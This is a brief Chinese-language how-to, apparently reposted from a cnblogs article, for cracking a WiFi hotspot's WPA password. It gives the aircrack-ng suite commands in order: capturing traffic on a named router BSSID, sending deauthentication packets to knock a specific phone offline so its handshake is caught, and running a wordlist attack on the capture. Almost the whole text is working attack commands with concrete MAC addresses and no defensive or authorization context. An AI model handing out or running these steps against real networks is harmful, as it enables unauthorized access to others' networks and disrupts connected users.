1、探测某热点wifi路由器地址开始抓包 如果抓到数据包则数据包存储的位置
airodump-ng wlan0mon -c 3 --bssid FC:7C:02:1F:31:E4 -w ~/hs/1238
2、-0强制断开使手机重新连接 ====发送10个攻击包到热点 -a 路由器地址 -c 某一个用户的手机地址 路由器端口
aireplay-ng -0 10 -a FC:7C:02:1F:31:E4 -c 08:4A:CF:D6:AC:4F wlan0mon
3、右上角出现mac地址代表抓包成功（信号好的话发送1次循环攻击包就能抓到数据包）
4、跑包 aircrack-ng -w 123.txt sadsa.cap （字典地址---数据包地址）
原文：https://www.cnblogs.com/zamscs/p/12387523.html